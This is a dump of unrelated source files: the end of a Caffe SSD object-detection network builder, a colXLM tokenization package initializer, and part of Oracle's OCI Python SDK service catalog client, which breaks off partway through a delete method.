'alias_id':ssd_Param_2.get("alias_id",0), 'loc_loss_type':ssd_Param_2.get("bboxloss_loc_loss_type",P.MultiBoxLoss.SMOOTH_L1), 'conf_loss_type':ssd_Param_2.get("bboxloss_conf_loss_type",P.MultiBoxLoss.LOGISTIC), 'loc_weight':ssd_Param_2.get("bboxloss_loc_weight",1), 'conf_weight':ssd_Param_2.get("bboxloss_conf_weight",1), 'overlap_threshold':ssd_Param_2.get("bboxloss_overlap_threshold",0.5), 'neg_overlap':ssd_Param_2.get("bboxloss_neg_overlap",0.5), 'size_threshold':ssd_Param_2.get("bboxloss_size_threshold",0.0001), 'do_neg_mining':ssd_Param_2.get("bboxloss_do_neg_mining",True), 'neg_pos_ratio':ssd_Param_2.get("bboxloss_neg_pos_ratio",3), 'using_focus_loss':ssd_Param_2.get("bboxloss_using_focus_loss",False), 'gama':ssd_Param_2.get("bboxloss_focus_gama",2), 'use_difficult_gt':ssd_Param_2.get("bboxloss_use_difficult_gt",False), 'code_type':ssd_Param_2.get("bboxloss_code_type",P.PriorBox.CENTER_SIZE), 'use_prior_for_matching':True, 'encode_variance_in_target': False, 'flag_noperson': ssd_Param_2.get('flag_noperson', False), 'size_threshold_max':ssd_Param_2.get("bboxloss_size_threshold_max",2), 'flag_showdebug':ssd_Param_2.get("flag_showdebug",False), 'flag_forcematchallgt':ssd_Param_2.get("flag_forcematchallgt",False), 'flag_areamaxcheckinmatch':ssd_Param_2.get("flag_areamaxcheckinmatch",True), } net["mbox_2_loss"] = L.DenseBBoxLoss(*mbox_2_layers, dense_bbox_loss_param=bboxloss_param, \ loss_param=loss_param, include=dict(phase=caffe_pb2.Phase.Value('TRAIN')), \ propagate_down=[True, True, False, False,False]) else: bboxloss_param = { 'gt_labels': ssd_Param_2.get('gt_labels',[]), 'target_labels': ssd_Param_2.get('target_labels',[]), 'num_classes':ssd_Param_2.get("num_classes",2), 'alias_id':ssd_Param_2.get("alias_id",0), 'loc_loss_type':ssd_Param_2.get("bboxloss_loc_loss_type",P.MultiBoxLoss.SMOOTH_L1), 'conf_loss_type':ssd_Param_2.get("bboxloss_conf_loss_type",P.MultiBoxLoss.SOFTMAX), 'loc_weight':ssd_Param_2.get("bboxloss_loc_weight",1), 'conf_weight':ssd_Param_2.get("bboxloss_conf_weight",1), 'overlap_threshold':ssd_Param_2.get("bboxloss_overlap_threshold",0.5), 'neg_overlap':ssd_Param_2.get("bboxloss_neg_overlap",0.5), 'size_threshold':ssd_Param_2.get("bboxloss_size_threshold",0.0001), 'do_neg_mining':ssd_Param_2.get("bboxloss_do_neg_mining",True), 'neg_pos_ratio':ssd_Param_2.get("bboxloss_neg_pos_ratio",3), 'using_focus_loss':ssd_Param_2.get("bboxloss_using_focus_loss",False), 'gama':ssd_Param_2.get("bboxloss_focus_gama",2), 'use_difficult_gt':ssd_Param_2.get("bboxloss_use_difficult_gt",False), 'code_type':ssd_Param_2.get("bboxloss_code_type",P.PriorBox.CENTER_SIZE), 'match_type':P.MultiBoxLoss.PER_PREDICTION, 'share_location':True, 'use_prior_for_matching':True, 'background_label_id':0, 'encode_variance_in_target': False, 'map_object_to_agnostic':False, } net["mbox_2_loss"] = L.BBoxLoss(*mbox_2_layers, bbox_loss_param=bboxloss_param, \ loss_param=loss_param,include=dict(phase=caffe_pb2.Phase.Value('TRAIN')), \ propagate_down=[True, True, False, False]) else: if ssd_Param_2.get("bboxloss_conf_loss_type",P.MultiBoxLoss.SOFTMAX) == P.MultiBoxLoss.SOFTMAX: reshape_name = "mbox_2_conf_reshape" net[reshape_name] = L.Reshape(mbox_2_layers[1], \ shape=dict(dim=[0, -1, ssd_Param_2.get("num_classes",2)])) softmax_name = "mbox_2_conf_softmax" net[softmax_name] = L.Softmax(net[reshape_name], axis=2) flatten_name = "mbox_2_conf_flatten" net[flatten_name] = L.Flatten(net[softmax_name], axis=1) mbox_2_layers[1] = net[flatten_name] elif ssd_Param_2.get("bboxloss_conf_loss_type",P.MultiBoxLoss.SOFTMAX) == P.MultiBoxLoss.LOGISTIC: sigmoid_name = "mbox_2_conf_sigmoid" net[sigmoid_name] = L.Sigmoid(mbox_2_layers[1]) mbox_2_layers[1] = net[sigmoid_name] else: raise ValueError("Unknown conf loss type.") # Det-out param det_out_param = { 'num_classes':ssd_Param_2.get("num_classes",2), 'target_labels': ssd_Param_2.get('detout_target_labels',[]), 'alias_id':ssd_Param_2.get("alias_id",0), 'conf_threshold':ssd_Param_2.get("detout_conf_threshold",0.01), 'nms_threshold':ssd_Param_2.get("detout_nms_threshold",0.45), 'size_threshold':ssd_Param_2.get("detout_size_threshold",0.0001), 'top_k':ssd_Param_2.get("detout_top_k",30), 'share_location':True, 'code_type':P.PriorBox.CENTER_SIZE, 'background_label_id':0, 'variance_encoded_in_target':False, } use_dense_boxes = ssd_Param_2.get('bboxloss_use_dense_boxes',False) if use_dense_boxes: net.detection_out_2 = L.DenseDetOut(*mbox_2_layers, \ detection_output_param=det_out_param, \ include=dict(phase=caffe_pb2.Phase.Value('TEST'))) else: net.detection_out_2 = L.DetOut(*mbox_2_layers, \ detection_output_param=det_out_param, \ include=dict(phase=caffe_pb2.Phase.Value('TEST'))) # EVAL in TEST MODE if not train: det_eval_param = { 'gt_labels': eval_Param.get('eval_gt_labels',[]), 'num_classes':eval_Param.get("eval_num_classes",2), 'evaluate_difficult_gt':eval_Param.get("eval_difficult_gt",False), 'boxsize_threshold':eval_Param.get("eval_boxsize_threshold",[0,0.01,0.05,0.1,0.15,0.2,0.25]), 'iou_threshold':eval_Param.get("eval_iou_threshold",[0.9,0.75,0.5]), 'background_label_id':0, } net.det_accu = L.DetEval(net['detection_out_2'], net[gt_label], \ detection_evaluate_param=det_eval_param, \ include=dict(phase=caffe_pb2.Phase.Value('TEST'))) return net

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8

3d67b97c686dad31eb36f8510c9145ccf54a95f1

232

py

Python

colXLM/modeling/tokenization/__init__.py

hannawong/ColXLM

56cb7fdd11244b8355d2181c668ee13edfcff457

[ "MIT" ]

115

2021-11-10T00:14:29.000Z

2022-03-15T02:57:16.000Z

colXLM/modeling/tokenization/__init__.py

hannawong/ColXLM

56cb7fdd11244b8355d2181c668ee13edfcff457

[ "MIT" ]

null

colXLM/modeling/tokenization/__init__.py

hannawong/ColXLM

56cb7fdd11244b8355d2181c668ee13edfcff457

[ "MIT" ]

16

2021-11-12T02:46:11.000Z

2021-12-04T15:53:27.000Z

from colXLM.modeling.tokenization.query_tokenization import * from colXLM.modeling.tokenization.doc_tokenization import * from colXLM.modeling.tokenization.utils import tensorize_triples,tensorize_triples_qlm,tensorize_triples_prop

58

109

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null

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1

0

7

3d9a5d7ae8f3136399072dd719883286319d747b

132,132

py

Python

src/oci/service_catalog/service_catalog_client.py

ezequielramos/oci-python-sdk

cc4235cf217beaf9feed75760e9ce82610222762

[ "Apache-2.0", "BSD-3-Clause" ]

3

2020-09-10T22:09:45.000Z

2021-12-24T17:00:07.000Z

src/oci/service_catalog/service_catalog_client.py

ezequielramos/oci-python-sdk

cc4235cf217beaf9feed75760e9ce82610222762

[ "Apache-2.0", "BSD-3-Clause" ]

null

src/oci/service_catalog/service_catalog_client.py

ezequielramos/oci-python-sdk

cc4235cf217beaf9feed75760e9ce82610222762

[ "Apache-2.0", "BSD-3-Clause" ]

null

# coding: utf-8 # Copyright (c) 2016, 2021, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license. from __future__ import absolute_import from oci._vendor import requests # noqa: F401 from oci._vendor import six from oci import retry, circuit_breaker # noqa: F401 from oci.base_client import BaseClient from oci.config import get_config_value_or_default, validate_config from oci.signer import Signer from oci.util import Sentinel, get_signer_from_authentication_type, AUTHENTICATION_TYPE_FIELD_NAME from .models import service_catalog_type_mapping missing = Sentinel("Missing") class ServiceCatalogClient(object): """ Manage solutions in Oracle Cloud Infrastructure Service Catalog. """ def __init__(self, config, **kwargs): """ Creates a new service client :param dict config: Configuration keys and values as per `SDK and Tool Configuration <https://docs.cloud.oracle.com/Content/API/Concepts/sdkconfig.htm>`__. The :py:meth:`~oci.config.from_file` method can be used to load configuration from a file. Alternatively, a ``dict`` can be passed. You can validate_config the dict using :py:meth:`~oci.config.validate_config` :param str service_endpoint: (optional) The endpoint of the service to call using this client. For example ``https://iaas.us-ashburn-1.oraclecloud.com``. If this keyword argument is not provided then it will be derived using the region in the config parameter. You should only provide this keyword argument if you have an explicit need to specify a service endpoint. :param timeout: (optional) The connection and read timeouts for the client. The default values are connection timeout 10 seconds and read timeout 60 seconds. This keyword argument can be provided as a single float, in which case the value provided is used for both the read and connection timeouts, or as a tuple of two floats. If a tuple is provided then the first value is used as the connection timeout and the second value as the read timeout. :type timeout: float or tuple(float, float) :param signer: (optional) The signer to use when signing requests made by the service client. The default is to use a :py:class:`~oci.signer.Signer` based on the values provided in the config parameter. One use case for this parameter is for `Instance Principals authentication <https://docs.cloud.oracle.com/Content/Identity/Tasks/callingservicesfrominstances.htm>`__ by passing an instance of :py:class:`~oci.auth.signers.InstancePrincipalsSecurityTokenSigner` as the value for this keyword argument :type signer: :py:class:`~oci.signer.AbstractBaseSigner` :param obj retry_strategy: (optional) A retry strategy to apply to all calls made by this service client (i.e. at the client level). There is no retry strategy applied by default. Retry strategies can also be applied at the operation level by passing a ``retry_strategy`` keyword argument as part of calling the operation. Any value provided at the operation level will override whatever is specified at the client level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. A convenience :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` is also available. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. :param obj circuit_breaker_strategy: (optional) A circuit breaker strategy to apply to all calls made by this service client (i.e. at the client level). This client uses :py:data:`~oci.circuit_breaker.DEFAULT_CIRCUIT_BREAKER_STRATEGY` as default if no circuit breaker strategy is provided. The specifics of circuit breaker strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/circuit_breakers.html>`__. :param function circuit_breaker_callback: (optional) Callback function to receive any exceptions triggerred by the circuit breaker. """ validate_config(config, signer=kwargs.get('signer')) if 'signer' in kwargs: signer = kwargs['signer'] elif AUTHENTICATION_TYPE_FIELD_NAME in config: signer = get_signer_from_authentication_type(config) else: signer = Signer( tenancy=config["tenancy"], user=config["user"], fingerprint=config["fingerprint"], private_key_file_location=config.get("key_file"), pass_phrase=get_config_value_or_default(config, "pass_phrase"), private_key_content=config.get("key_content") ) base_client_init_kwargs = { 'regional_client': True, 'service_endpoint': kwargs.get('service_endpoint'), 'base_path': '/20210527', 'service_endpoint_template': 'https://service-catalog.{region}.oci.{secondLevelDomain}', 'skip_deserialization': kwargs.get('skip_deserialization', False), 'circuit_breaker_strategy': kwargs.get('circuit_breaker_strategy', circuit_breaker.GLOBAL_CIRCUIT_BREAKER_STRATEGY) } if 'timeout' in kwargs: base_client_init_kwargs['timeout'] = kwargs.get('timeout') if base_client_init_kwargs.get('circuit_breaker_strategy') is None: base_client_init_kwargs['circuit_breaker_strategy'] = circuit_breaker.DEFAULT_CIRCUIT_BREAKER_STRATEGY self.base_client = BaseClient("service_catalog", config, signer, service_catalog_type_mapping, **base_client_init_kwargs) self.retry_strategy = kwargs.get('retry_strategy') self.circuit_breaker_callback = kwargs.get('circuit_breaker_callback') def bulk_replace_service_catalog_associations(self, service_catalog_id, bulk_replace_service_catalog_associations_details, **kwargs): """ Replace all associations of a given service catalog in one bulk transaction. :param str service_catalog_id: (required) The unique identifier for the service catalog. :param oci.service_catalog.models.BulkReplaceServiceCatalogAssociationsDetails bulk_replace_service_catalog_associations_details: (required) Details of the service catalog update operation. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the etag from a previous GET or POST response for that resource. The resource will be updated or deleted only if the etag you provide matches the resource's current etag value. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :return: A :class:`~oci.response.Response` object with data of type None :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/servicecatalog/bulk_replace_service_catalog_associations.py.html>`__ to see an example of how to use bulk_replace_service_catalog_associations API. """ resource_path = "/serviceCatalogs/{serviceCatalogId}/actions/bulkReplaceAssociations" method = "PUT" # Don't accept unknown kwargs expected_kwargs = [ "retry_strategy", "if_match", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "bulk_replace_service_catalog_associations got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "serviceCatalogId": service_catalog_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "if-match": kwargs.get("if_match", missing), "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=bulk_replace_service_catalog_associations_details) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=bulk_replace_service_catalog_associations_details) def change_private_application_compartment(self, private_application_id, change_private_application_compartment_details, **kwargs): """ Moves the specified private application from one compartment to another. :param str private_application_id: (required) The unique identifier for the private application. :param oci.service_catalog.models.ChangePrivateApplicationCompartmentDetails change_private_application_compartment_details: (required) The details of the request to change the compartment of a given private application. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the etag from a previous GET or POST response for that resource. The resource will be updated or deleted only if the etag you provide matches the resource's current etag value. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :return: A :class:`~oci.response.Response` object with data of type None :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/servicecatalog/change_private_application_compartment.py.html>`__ to see an example of how to use change_private_application_compartment API. """ resource_path = "/privateApplications/{privateApplicationId}/actions/changeCompartment" method = "POST" # Don't accept unknown kwargs expected_kwargs = [ "retry_strategy", "opc_request_id", "if_match" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "change_private_application_compartment got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "privateApplicationId": private_application_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing), "if-match": kwargs.get("if_match", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=change_private_application_compartment_details) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=change_private_application_compartment_details) def change_service_catalog_compartment(self, service_catalog_id, change_service_catalog_compartment_details, **kwargs): """ Moves the specified service catalog from one compartment to another. :param str service_catalog_id: (required) The unique identifier for the service catalog. :param oci.service_catalog.models.ChangeServiceCatalogCompartmentDetails change_service_catalog_compartment_details: (required) The details of the request to change the compartment of a given service catalog. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the etag from a previous GET or POST response for that resource. The resource will be updated or deleted only if the etag you provide matches the resource's current etag value. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :return: A :class:`~oci.response.Response` object with data of type None :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/servicecatalog/change_service_catalog_compartment.py.html>`__ to see an example of how to use change_service_catalog_compartment API. """ resource_path = "/serviceCatalogs/{serviceCatalogId}/actions/changeCompartment" method = "POST" # Don't accept unknown kwargs expected_kwargs = [ "retry_strategy", "opc_request_id", "if_match" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "change_service_catalog_compartment got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "serviceCatalogId": service_catalog_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing), "if-match": kwargs.get("if_match", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=change_service_catalog_compartment_details) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=change_service_catalog_compartment_details) def create_private_application(self, create_private_application_details, **kwargs): """ Creates a private application along with a single package to be hosted. :param oci.service_catalog.models.CreatePrivateApplicationDetails create_private_application_details: (required) Private application creation details. :param str opc_retry_token: (optional) A token that uniquely identifies a request so it can be retried in case of a timeout or server error without risk of executing that same action again. Retry tokens expire after 24 hours, but can be invalidated before then due to conflicting operations (for example, if a resource has been deleted and purged from the system, then a retry of the original creation request might be rejected). :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.service_catalog.models.PrivateApplication` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/servicecatalog/create_private_application.py.html>`__ to see an example of how to use create_private_application API. """ resource_path = "/privateApplications" method = "POST" # Don't accept unknown kwargs expected_kwargs = [ "retry_strategy", "opc_retry_token", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "create_private_application got unknown kwargs: {!r}".format(extra_kwargs)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-retry-token": kwargs.get("opc_retry_token", missing), "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_retry_token_if_needed(header_params) self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, header_params=header_params, body=create_private_application_details, response_type="PrivateApplication") else: return self.base_client.call_api( resource_path=resource_path, method=method, header_params=header_params, body=create_private_application_details, response_type="PrivateApplication") def create_service_catalog(self, create_service_catalog_details, **kwargs): """ Creates a brand new service catalog in a given compartment. :param oci.service_catalog.models.CreateServiceCatalogDetails create_service_catalog_details: (required) The details for creating a service catalog. :param str opc_retry_token: (optional) A token that uniquely identifies a request so it can be retried in case of a timeout or server error without risk of executing that same action again. Retry tokens expire after 24 hours, but can be invalidated before then due to conflicting operations (for example, if a resource has been deleted and purged from the system, then a retry of the original creation request might be rejected). :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.service_catalog.models.ServiceCatalog` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/servicecatalog/create_service_catalog.py.html>`__ to see an example of how to use create_service_catalog API. """ resource_path = "/serviceCatalogs" method = "POST" # Don't accept unknown kwargs expected_kwargs = [ "retry_strategy", "opc_retry_token", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "create_service_catalog got unknown kwargs: {!r}".format(extra_kwargs)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-retry-token": kwargs.get("opc_retry_token", missing), "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_retry_token_if_needed(header_params) self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, header_params=header_params, body=create_service_catalog_details, response_type="ServiceCatalog") else: return self.base_client.call_api( resource_path=resource_path, method=method, header_params=header_params, body=create_service_catalog_details, response_type="ServiceCatalog") def create_service_catalog_association(self, create_service_catalog_association_details, **kwargs): """ Creates an association between service catalog and a resource. :param oci.service_catalog.models.CreateServiceCatalogAssociationDetails create_service_catalog_association_details: (required) The details for creating the association between resource and service catalog. :param str opc_retry_token: (optional) A token that uniquely identifies a request so it can be retried in case of a timeout or server error without risk of executing that same action again. Retry tokens expire after 24 hours, but can be invalidated before then due to conflicting operations (for example, if a resource has been deleted and purged from the system, then a retry of the original creation request might be rejected). :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.service_catalog.models.ServiceCatalogAssociation` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/servicecatalog/create_service_catalog_association.py.html>`__ to see an example of how to use create_service_catalog_association API. """ resource_path = "/serviceCatalogAssociations" method = "POST" # Don't accept unknown kwargs expected_kwargs = [ "retry_strategy", "opc_retry_token", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "create_service_catalog_association got unknown kwargs: {!r}".format(extra_kwargs)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-retry-token": kwargs.get("opc_retry_token", missing), "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_retry_token_if_needed(header_params) self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, header_params=header_params, body=create_service_catalog_association_details, response_type="ServiceCatalogAssociation") else: return self.base_client.call_api( resource_path=resource_path, method=method, header_params=header_params, body=create_service_catalog_association_details, response_type="ServiceCatalogAssociation") def delete_private_application(self, private_application_id, **kwargs): """ Deletes an existing private application. :param str private_application_id: (required) The unique identifier for the private application. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the etag from a previous GET or POST response for that resource. The resource will be updated or deleted only if the etag you provide matches the resource's current etag value. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :return: A :class:`~oci.response.Response` object with data of type None :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/servicecatalog/delete_private_application.py.html>`__ to see an example of how to use delete_private_application API. """ resource_path = "/privateApplications/{privateApplicationId}" method = "DELETE" # Don't accept unknown kwargs expected_kwargs = [ "retry_strategy", "if_match", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "delete_private_application got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "privateApplicationId": private_application_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "if-match": kwargs.get("if_match", missing), "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): 